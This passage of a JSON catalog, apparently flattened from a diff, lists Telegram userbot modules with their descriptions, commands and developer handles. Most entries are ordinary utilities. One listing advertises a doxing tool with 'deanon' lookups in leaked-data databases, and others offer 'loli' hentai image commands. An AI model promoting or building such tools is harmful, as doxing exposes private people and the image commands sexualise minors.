трек с начала" - } - }, - { - "spback": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить предыдущий трек" - } - }, - { - "spnext": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить следующий трек" - } - }, - { - "spbio": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить стрим текущего трека в био" - } - }, - { - "spbiochannel": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить стрим текущего трека в канале в био" - } - }, - { - "splike": { - "ru_doc": null, - "en_doc": null, - "doc": "Лайкнуть текущий трек" - } - }, - { - "sprepeat": { - "ru_doc": null, - "en_doc": null, - "doc": "Повторить текущий трек" - } - }, - { - "spnorepeat": { - "ru_doc": null, - "en_doc": null, - "doc": "Перестать повторять текущий трек" - } - }, - { - "spnow": { - "ru_doc": null, - "en_doc": null, - "doc": "Текущий трек" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Ruslan-Isaev/modules/grok.py": { - "name": "GrokAIMod", - "description": "Модуль для нейросети Grok через бота @GrokAI", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "grokdelcmd": "- очищает историю переписки с нейросетью (контекст)" - }, - { - "grokcmd": "<текст> - запрос к нейросети Grok" - } - ], - "new_commands": [ - { - "grokdel": { - "ru_doc": null, - "en_doc": null, - "doc": "- очищает историю переписки с нейросетью (контекст)" - } - }, - { - "grok": { - "ru_doc": null, - "en_doc": null, - "doc": "<текст> - запрос к нейросети Grok" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/gitrepo.py": { - "name": "GitRepoMod", - "description": "Клонирует git репозиторий и отправляет его в виде zip-архива", - "meta": { - "pic": null, - "banner": null, - "developer": "@qShad0_bio" - }, - "commands": [ - { - "git": "Клонирует git репозиторий и отправляет его в виде zip-архива" - }, - { - "wget": "Сохраняет файл из интернета" - } - ], - "new_commands": [ - { - "git": { - "ru_doc": null, - "en_doc": null, - "doc": "Клонирует git репозиторий и отправляет его в виде zip-архива" - } - }, - { - "wget": { - "ru_doc": null, - "en_doc": null, - "doc": "Сохраняет файл из интернета" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Ruslan-Isaev/modules/ttf.py": { - "name": "TTFMod", - "description": "Создает текстовый файл, отправляет его в Telegram, а затем удаляет.", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP, @matubuntu" - }, - "commands": [ - { - "ttf": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла/<reply>" - }, - { - "ttf_noreply": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла" - } - ], - "new_commands": [ - { - "ttf": { - "ru_doc": null, - "en_doc": null, - "doc": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла/<reply>" - } - }, - { - "ttf_noreply": { - "ru_doc": null, - "en_doc": null, - "doc": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/SFTPUploader.py": { - "name": "SFTPUploaderMod", - "description": "Загрузка файлов на SFTP", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "sftp": "<reply> - загружает файл на SFPT" - } - ], - "new_commands": [ - { - "sftp": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - загружает файл на SFPT" - } - } - ], - "category": [ - "Security", - "Chat" - ] - }, - "Ruslan-Isaev/modules/checkmodule.py": { - "name": "CheckModulesMod", - "description": "Модуль для проверки модулей", - "meta": { - "pic": null, - "banner": null, - "developer": "@matubuntu" - }, - "commands": [ - { - "checkmodcmd": "<url/reply file> - проверяет модули" - } - ], - "new_commands": [ - { - "checkmod": { - "ru_doc": null, - "en_doc": null, - "doc": "<url/reply file> - проверяет модули" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/spellchecker.py": { - "name": "SpellerMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "spellcheckcmd": "Проверить орфографию текста.\n\nИспользование:\n.spellcheck [текст] - проверка указанного текста.\n.spellcheck -r - проверка текста из реплая." - } - ], - "new_commands": [ - { - "spellcheck": { - "ru_doc": null, - "en_doc": null, - "doc": "Проверить орфографию текста.\n\nИспользование:\n.spellcheck [текст] - проверка указанного текста.\n.spellcheck -r - проверка текста из реплая." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/gigagpt.py": { - "name": "RUISChatGPTMod", - "description": "ChatGPT 3, Gigachat без API ключа и с контекстом. Бот, который используется для запросов: @Gigachat_bot и @GPTChatRBot. Модуль распространяется по лицензии MIT.", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP, @matubuntu" - }, - "commands": [ - { - "gptdelcmd": "- очищает историю переписки с нейросетью(контекст)" - }, - { - "giga": "<текст> - запрос к нейросети GigaChat" - }, - { - "gigadelcmd": "- очищает историю переписки с нейросетью(контекст)" - }, - { - "gptcmd": "<текст> - запрос к нейросети ChatGPT" - } - ], - "new_commands": [ - { - "gptdel": { - "ru_doc": null, - "en_doc": null, - "doc": "- очищает историю переписки с нейросетью(контекст)" - } - }, - { - "giga": { - "ru_doc": null, - "en_doc": null, - "doc": "<текст> - запрос к нейросети GigaChat" - } - }, - { - "gigadel": { - "ru_doc": null, - "en_doc": null, - "doc": "- очищает историю переписки с нейросетью(контекст)" - } - }, - { - "gpt": { - "ru_doc": null, - "en_doc": null, - "doc": "<текст> - запрос к нейросети ChatGPT" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/S3.py": { - "name": "S3Mod", - "description": "Модуль для работы с S3 хранилищами", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "S3upload": "<path> <reply> - сохраняет файл в S3 хранилище" - }, - { - "S3LS": "<path> - список файлов в S3 хранилище" - }, - { - "S3delete": "<path> - удаляет файл из S3 хрпнилища" - }, - { - "S3rename": "<folder> <old_filename> <new_filename> - переименовывает файл. Пробелы в адресе заменяйте на %20" - }, - { - "S3cut": "<file> <old_folder> <new_folder> - вырезает файл. Пробелы в адресе заменяйте на %20" - }, - { - "S3copy": "<file> <old_folder> <new_folder> - копирует файл. Пробелы в адресе заменяйте на %20" - }, - { - "S3download": "<path> - скачивает файл из S3 хрпнилища и отправляет в Telegram" - }, - { - "s3config": "- открыть конфигурацию модуля" - }, - { - "S3usage": "- сколько занято памяти на S3" - }, - { - "S3clear": "- удаление незавершенных загрузок" - }, - { - "S3purge": "- ПОЛНАЯ ОЧИСТКА ХРАНИЛИЩА S3. Будьте осторожны с этой командой" - } - ], - "new_commands": [ - { - "S3upload": { - "ru_doc": null, - "en_doc": null, - "doc": "<path> <reply> - сохраняет файл в S3 хранилище" - } - }, - { - "S3LS": { - "ru_doc": null, - "en_doc": null, - "doc": "<path> - список файлов в S3 хранилище" - } - }, - { - "S3delete": { - "ru_doc": null, - "en_doc": null, - "doc": "<path> - удаляет файл из S3 хрпнилища" - } - }, - { - "S3rename": { - "ru_doc": null, - "en_doc": null, - "doc": "<folder> <old_filename> <new_filename> - переименовывает файл. Пробелы в адресе заменяйте на %20" - } - }, - { - "S3cut": { - "ru_doc": null, - "en_doc": null, - "doc": "<file> <old_folder> <new_folder> - вырезает файл. Пробелы в адресе заменяйте на %20" - } - }, - { - "S3copy": { - "ru_doc": null, - "en_doc": null, - "doc": "<file> <old_folder> <new_folder> - копирует файл. Пробелы в адресе заменяйте на %20" - } - }, - { - "S3download": { - "ru_doc": null, - "en_doc": null, - "doc": "<path> - скачивает файл из S3 хрпнилища и отправляет в Telegram" - } - }, - { - "s3config": { - "ru_doc": null, - "en_doc": null, - "doc": "- открыть конфигурацию модуля" - } - }, - { - "S3usage": { - "ru_doc": null, - "en_doc": null, - "doc": "- сколько занято памяти на S3" - } - }, - { - "S3clear": { - "ru_doc": null, - "en_doc": null, - "doc": "- удаление незавершенных загрузок" - } - }, - { - "S3purge": { - "ru_doc": null, - "en_doc": null, - "doc": "- ПОЛНАЯ ОЧИСТКА ХРАНИЛИЩА S3. Будьте осторожны с этой командой" - } - } - ], - "category": [ - "Chat", - "Security" - ] - }, - "Ruslan-Isaev/modules/whois.py": { - "name": "WhoisMod", - "description": "Модуль для получения информации о домене или ip адресе", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "whois": "<домен> - получить информацию о домене или IP" - } - ], - "new_commands": [ - { - "whois": { - "ru_doc": null, - "en_doc": null, - "doc": "<домен> - получить информацию о домене или IP" - } - } - ], - "category": [ - "Tools", - "Social" - ] - }, - "Ruslan-Isaev/modules/financemod.py": { - "name": "FinanceMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "valutecmd": "[count] [usd, eur, ...]" - }, - { - "cryptocmd": "[count] [ton, btc, ...]" - } - ], - "new_commands": [ - { - "valute": { - "ru_doc": null, - "en_doc": null, - "doc": "[count] [usd, eur, ...]" - } - }, - { - "crypto": { - "ru_doc": null, - "en_doc": null, - "doc": "[count] [ton, btc, ...]" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "Ruslan-Isaev/modules/Amnesty.py": { - "name": "AmnestyMod", - "description": "Модуль для разбана всех пользователей в чате или в лс (амнистия)", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "amnestycmd": "- разблокирует всех в чате" - }, - { - "amnistiacmd": "- разблокирует всех в лс" - } - ], - "new_commands": [ - { - "amnesty": { - "ru_doc": null, - "en_doc": null, - "doc": "- разблокирует всех в чате" - } - }, - { - "amnistia": { - "ru_doc": null, - "en_doc": null, - "doc": "- разблокирует всех в лс" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/GenNick.py": { - "name": "GenNickMod", - "description": "Простой генератор ников", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "GenNick": "Генерирует стандартный ник" - }, - { - "GenIntNick": "Генерирует ник с цифрами" - } - ], - "new_commands": [ - { - "GenNick": { - "ru_doc": null, - "en_doc": null, - "doc": "Генерирует стандартный ник" - } - }, - { - "GenIntNick": { - "ru_doc": null, - "en_doc": null, - "doc": "Генерирует ник с цифрами" - } - } - ], - "category": [ - "Fun", - "Social" - ] - }, - "Ruslan-Isaev/modules/ThreadLink.py": { - "name": "ThreadMod", - "description": "Модуль для получения ветки", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP, @matubuntu" - }, - "commands": [ - { - "threadlink": "Получает ссылку на ветку сообщений.\n " - } - ], - "new_commands": [ - { - "threadlink": { - "ru_doc": null, - "en_doc": null, - "doc": "Получает ссылку на ветку сообщений.\n " - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "Ruslan-Isaev/modules/DogPic.py": { - "name": "DogPicMod", - "description": "Модуль для фотографий с милыми собачками", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "dogpic": "картинка с собачкой" - } - ], - "new_commands": [ - { - "dogpic": { - "ru_doc": null, - "en_doc": null, - "doc": "картинка с собачкой" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Ruslan-Isaev/modules/DNSResolver.py": { - "name": "DNSResolverMod", - "description": "Модуль для отправки DNS запросов ", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "resolvecmd": "<домен> - получает DNS записи указанного домена" - } - ], - "new_commands": [ - { - "resolve": { - "ru_doc": null, - "en_doc": null, - "doc": "<домен> - получает DNS записи указанного домена" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Ruslan-Isaev/modules/youtube-loader.py": { - "name": "YouTube_DLDMod", - "description": "Помогает скачивать видео с YouTube", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP, @RoKrz" - }, - "commands": [ - { - "dlvideo": "<ссылка> или ответ на сообщение со ссылкой — скачивает видео с YouTube" - } - ], - "new_commands": [ - { - "dlvideo": { - "ru_doc": null, - "en_doc": null, - "doc": "<ссылка> или ответ на сообщение со ссылкой — скачивает видео с YouTube" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "Ruslan-Isaev/modules/clck.py": { - "name": "ClckMod", - "description": "Помогает сократить ссылку в clck.ru или расшифровать укороченную ссылку.", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "schortcmd": "<url> - сократит ссылку." - }, - { - "deschortcmd": "<url> - расшифрует ссылку." - } - ], - "new_commands": [ - { - "schort": { - "ru_doc": null, - "en_doc": null, - "doc": "<url> - сократит ссылку." - } - }, - { - "deschort": { - "ru_doc": null, - "en_doc": null, - "doc": "<url> - расшифрует ссылку." - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "Ruslan-Isaev/modules/Надстрочка.py": { - "name": "НадстрочкаMod", - "description": "Делает надстрочный текст", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "upcmd": "<text> - сделать верхний шрифт" - } - ], - "new_commands": [ - { - "up": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - сделать верхний шрифт" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Ruslan-Isaev/modules/NewMlMod.py": { - "name": "NewMlMod", - "description": "A module for uploading modules as a file. Let's just say it's a heavily stripped-down UnitHeta.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "nmlcmd": "send module via file" - } - ], - "new_commands": [ - { - "nml": { - "ru_doc": null, - "en_doc": null, - "doc": "send module via file" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/search.py": { - "name": "SearchMod", - "description": "🌐 Internet search module", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "picsearchcmd": "<reply to image> - 🔍 Reverse image search" - }, - { - "searchcmd": "<text> / <reply> - 🌐 Search Internet" - } - ], - "new_commands": [ - { - "picsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply to image> - 🔍 Reverse image search" - } - }, - { - "search": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> / <reply> - 🌐 Search Internet" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "Ruslan-Isaev/modules/ssh.py": { - "name": "SSHMod", - "description": "SSH module for uploading files and executing commands", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "save": "<reply> - saves the file to the ~/sshmod directory" - }, - { - "sterminal": "<command> - executes a command on the SSH server" - } - ], - "new_commands": [ - { - "save": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - saves the file to the ~/sshmod directory" - } - }, - { - "sterminal": { - "ru_doc": null, - "en_doc": null, - "doc": "<command> - executes a command on the SSH server" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/tornodes.py": { - "name": "TorNodes", - "description": "Получает список мостов для сети Tor", - "meta": { - "pic": null, - "banner": null, - "developer": "@matubuntu" - }, - "commands": [ - { - "bridge": "obfs4 / webtunnel - получить мосты для сети Tor" - }, - { - "tncfg": "- открыть конфигурацию модуля" - } - ], - "new_commands": [ - { - "bridge": { - "ru_doc": null, - "en_doc": null, - "doc": "obfs4 / webtunnel - получить мосты для сети Tor" - } - }, - { - "tncfg": { - "ru_doc": null, - "en_doc": null, - "doc": "- открыть конфигурацию модуля" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "Ruslan-Isaev/modules/barcode.py": { - "name": "BarcodeGeneratorMod", - "description": "Генерирует штрих код (code128) ", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "barcodecmd": "<код> - генерирует штрих-код" - } - ], - "new_commands": [ - { - "barcode": { - "ru_doc": null, - "en_doc": null, - "doc": "<код> - генерирует штрих-код" - } - } - ], - "category": [ - "Fun", - "Chat" - ] - }, - "Ruslan-Isaev/modules/Quotly.py": { - "name": "QuotlyMod", - "description": "Модуль для создания стикеров по сообщению через @QuotLyBot", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "quotly": "<reply> - создать стикер по сообщению" - } - ], - "new_commands": [ - { - "quotly": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - создать стикер по сообщению" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ruslan-Isaev/modules/IrisAutoFarm.py": { - "name": "IrisAutoFarm", - "description": "Автофарм в ирисе", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "блэкстарт": "Завести таймеры в Iris Black Diamond" - } - ], - "new_commands": [ - { - "блэкстарт": { - "ru_doc": null, - "en_doc": null, - "doc": "Завести таймеры в Iris Black Diamond" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "Ruslan-Isaev/modules/Figlet.py": { - "name": "FigletMod", - "description": "Длинные слова лучше переносить на другую строчку. Пример:\n`.figlet Hello\nWorld!`\nЕсли написать в одну строчку, то слово не уместится в одно сообщение ", - "meta": { - "pic": null, - "banner": null, - "developer": "@RUIS_VlP" - }, - "commands": [ - { - "figlet": "<text> - делает текст большим" - } - ], - "new_commands": [ - { - "figlet": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - делает текст большим" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/speedtest.py": { - "name": "SpeedTestMod", - "description": "Module to run speedtest using speedtest library", - "meta": { - "pic": "https://envs.sh/HoD.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "speedtestcmd": "Speedtest of your server internet" - } - ], - "new_commands": [ - { - "speedtest": { - "ru_doc": null, - "en_doc": null, - "doc": "Speedtest of your server internet" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/DoxTool.py": { - "name": "dox", - "description": "Maybe... doxing tool?", - "meta": { - "pic": "https://envs.sh/HJM.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "gbcmd": "search in databases eye of god!" - }, - { - "deanoncmd": "Full information of user in global database" - }, - { - "dinfocmd": "info of module" - } - ], - "new_commands": [ - { - "gb": { - "ru_doc": null, - "en_doc": null, - "doc": "search in databases eye of god!" - } - }, - { - "deanon": { - "ru_doc": null, - "en_doc": null, - "doc": "Full information of user in global database" - } - }, - { - "dinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "info of module" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/emojidown.py": { - "name": "EmojiDownloadMod", - "description": "Download emoji from reply", - "meta": { - "pic": "https://envs.sh/Hod.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "emojidowncmd": "[reply] | Download emoji from reply" - } - ], - "new_commands": [ - { - "emojidown": { - "ru_doc": null, - "en_doc": null, - "doc": "[reply] | Download emoji from reply" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "coddrago/modules/ascii_face.py": { - "name": "Ascii_face", - "description": "Random Ascii Face from utils", - "meta": { - "pic": "https://envs.sh/HoE.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "asciicmd": "| Get random ascii face" - } - ], - "new_commands": [ - { - "ascii": { - "ru_doc": null, - "en_doc": null, - "doc": "| Get random ascii face" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "coddrago/modules/passwordgen.py": { - "name": "PassGen", - "description": "Generate password", - "meta": { - "pic": "https://envs.sh/Hoe.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "passcmd": "| Generate password from utils" - }, - { - "passgcmd": "| Generate password from string" - } - ], - "new_commands": [ - { - "pass": { - "ru_doc": null, - "en_doc": null, - "doc": "| Generate password from utils" - } - }, - { - "passg": { - "ru_doc": null, - "en_doc": null, - "doc": "| Generate password from string" - } - } - ], - "category": [ - "Security", - "Tools" - ] - }, - "coddrago/modules/lastfm.py": { - "name": "lastfmmod", - "description": "Module for music from different services", - "meta": { - "pic": "https://envs.sh/Hob.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "nowplay": "| send playing track" - }, - { - "tutorl": "| tutorial" - } - ], - "new_commands": [ - { - "nowplay": { - "ru_doc": null, - "en_doc": null, - "doc": "| send playing track" - } - }, - { - "tutorl": { - "ru_doc": null, - "en_doc": null, - "doc": "| tutorial" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/send.py": { - "name": "Send", - "description": "| module to send messages", - "meta": { - "pic": "https://kappa.lol/p3wVI", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "send": "[user] [text] | Send message to user" - }, - { - "sendsm": "[reply or text] | send message to saved messages" - } - ], - "new_commands": [ - { - "send": { - "ru_doc": null, - "en_doc": null, - "doc": "[user] [text] | Send message to user" - } - }, - { - "sendsm": { - "ru_doc": null, - "en_doc": null, - "doc": "[reply or text] | send message to saved messages" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/hentai.py": { - "name": "Hentai", - "description": "Send to you random hentai media!", - "meta": { - "pic": "https://envs.sh/HJ-.webp", - "banner": "https://mods.codrago.top/banners/loli.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "lolicmd": "| random loli photo" - }, - { - "femcmd": "| random femboy media" - }, - { - "sfwcmd": "| random SFW media" - }, - { - "furrycmd": "| to get random furry media" - }, - { - "nsfwcmd": "| to get random NSFW media" - } - ], - "new_commands": [ - { - "loli": { - "ru_doc": null, - "en_doc": null, - "doc": "| random loli photo" - } - }, - { - "fem": { - "ru_doc": null, - "en_doc": null, - "doc": "| random femboy media" - } - }, - { - "sfw": { - "ru_doc": null, - "en_doc": null, - "doc": "| random SFW media" - } - }, - { - "furry": { - "ru_doc": null, - "en_doc": null, - "doc": "| to get random furry media" - } - }, - { - "nsfw": { - "ru_doc": null, - "en_doc": null, - "doc": "| to get random NSFW media" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/compliments.py": { - "name": "Compliments", - "description": "Compliments for your partner", - "meta": { - "pic": "https://envs.sh/HJ6.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "cgcmd": "Compliments for girl" - } - ], - "new_commands": [ - { - "cg": { - "ru_doc": null, - "en_doc": null, - "doc": "Compliments for girl" - } - } - ], - "category": [ - "Social", - "Fun" - ] - }, - "coddrago/modules/id.py": { - "name": "ID", - "description": "ID of all!", - "meta": { - "pic": "https://envs.sh/HJX.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "useridcmd": "[reply or username] | Get User ID" - }, - { - "idcmd": "| Get your ID" - }, - { - "chatidcmd": "| Get chat ID" - } - ], - "new_commands": [ - { - "userid": { - "ru_doc": null, - "en_doc": null, - "doc": "[reply or username] | Get User ID" - } - }, - { - "id": { - "ru_doc": null, - "en_doc": null, - "doc": "| Get your ID" - } - }, - { - "chatid": { - "ru_doc": null, - "en_doc": null, - "doc": "| Get chat ID" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "coddrago/modules/autoclicker.py": { - "name": "AutoClickerMod", - "description": "Autoclicker for inline buttons.", - "meta": { - "pic": "https://envs.sh/HJv.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m, @unneyon_hmods" - }, - "commands": [ - { - "clickoncmd": "[interval button_line button] | Enable Autoclicker" - }, - { - "clickoffcmd": "| disable autoclicker." - } - ], - "new_commands": [ - { - "clickon": { - "ru_doc": null, - "en_doc": null, - "doc": "[interval button_line button] | Enable Autoclicker" - } - }, - { - "clickoff": { - "ru_doc": null, - "en_doc": null, - "doc": "| disable autoclicker." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "coddrago/modules/promoclaimer.py": { - "name": "PromoClaimerMod", - "description": "Automatically claim https://t.me/StableWaifuBot promo from any chat", - "meta": { - "pic": "https://envs.sh/HoF.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "checktokens": "| check tokens balance | Посмотреть баланс токенов" - } - ], - "new_commands": [ - { - "checktokens": { - "ru_doc": "| Посмотреть баланс токенов", - "en_doc": null, - "doc": "| check tokens balance" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "coddrago/modules/randomizer.py": { - "name": "Randomizer", - "description": "Random - it's life!", - "meta": { - "pic": "https://envs.sh/HJy.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "chancecmd": "[args] | A chance for your success!" - }, - { - "randomcmd": "!cfg | random number" - }, - { - "shipcmd": "| Ship from iris?" - }, - { - "randusercmd": "| Random user!" - } - ], - "new_commands": [ - { - "chance": { - "ru_doc": null, - "en_doc": null, - "doc": "[args] | A chance for your success!" - } - }, - { - "random": { - "ru_doc": null, - "en_doc": null, - "doc": "!cfg | random number" - } - }, - { - "ship": { - "ru_doc": null, - "en_doc": null, - "doc": "| Ship from iris?" - } - }, - { - "randuser": { - "ru_doc": null, - "en_doc": null, - "doc": "| Random user!" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "coddrago/modules/pinterest.py": { - "name": "PinterestDownloader", - "description": "Gives a link to download a file from Pinterest", - "meta": { - "pic": "https://envs.sh/HJV.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "pinterestcmd": "Gives a link to download" - } - ], - "new_commands": [ - { - "pinterest": { - "ru_doc": null, - "en_doc": null, - "doc": "Gives a link to download" - } - } - ], - "category": [ - "Chat", - "Media" - ] - }, - "coddrago/modules/modlist.py": { - "name": "ModulesList", - "description": "Модуль для быстрого доступа к каналам с модулями", - "meta": { - "pic": "https://envs.sh/HJH.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "modlist": "| Quick access to channels with modules | Быстрый доступ к каналам с модулями " - }, - { - "offmodlist": "| Official channel with modules | Оффициальные каналы с модулями " - }, - { - "addmchat": "[BOT API ID] | add chat" - } - ], - "new_commands": [ - { - "modlist": { - "ru_doc": " | Быстрый доступ к каналам с модулями ", - "en_doc": null, - "doc": "| Quick access to channels with modules" - } - }, - { - "offmodlist": { - "ru_doc": " | Оффициальные каналы с модулями ", - "en_doc": null, - "doc": "| Official channel with modules" - } - }, - { - "addmchat": { - "ru_doc": null, - "en_doc": null, - "doc": "[BOT API ID] | add chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "coddrago/modules/figlet.py": { - "name": "Figlet", - "description": "Tool for work with figlet", - "meta": { - "pic": "https://envs.sh/Hou.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "figletcmd": "[args] | run figlet command" - }, - { - "figlistcmd": "| see list of all fonts" - } - ], - "new_commands": [ - { - "figlet": { - "ru_doc": null, - "en_doc": null, - "doc": "[args] | run figlet command" - } - }, - { - "figlist": { - "ru_doc": null, - "en_doc": null, - "doc": "| see list of all fonts" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "coddrago/modules/loli.py": { - "name": "lolihentai", - "description": "Your the best friend in loli hentai", - "meta": { - "pic": "https://envs.sh/HJm.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "lolicmd": "-> random loli photo" - }, - { - "loliccmd": "-> to get your loli" - } - ], - "new_commands": [ - { - "loli": { - "ru_doc": null, - "en_doc": null, - "doc": "-> random loli photo" - } - }, - { - "lolic": { - "ru_doc": null, - "en_doc": null, - "doc": "-> to get your loli" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "coddrago/modules/randnum.py": { - "name": "RandomNumbersMod", - "description": "Развлекательный модуль", - "meta": { - "pic": "https://envs.sh/HJ7.webp", - "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m" - }, - "commands": [ - { - "rnumcmd": "Угадывайте рандомные числа!" - } - ], - "new_commands": [ - { - "rnum": { - "ru_doc": null, - "en_doc": null, - "doc": "Угадывайте рандомные числа!" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "coddrago/modules/pmban.py": { - "name": "PMBan", - "description": "Ban in pm for time", - "meta": { - "pic": "https://envs.sh/Hoh.webp", - 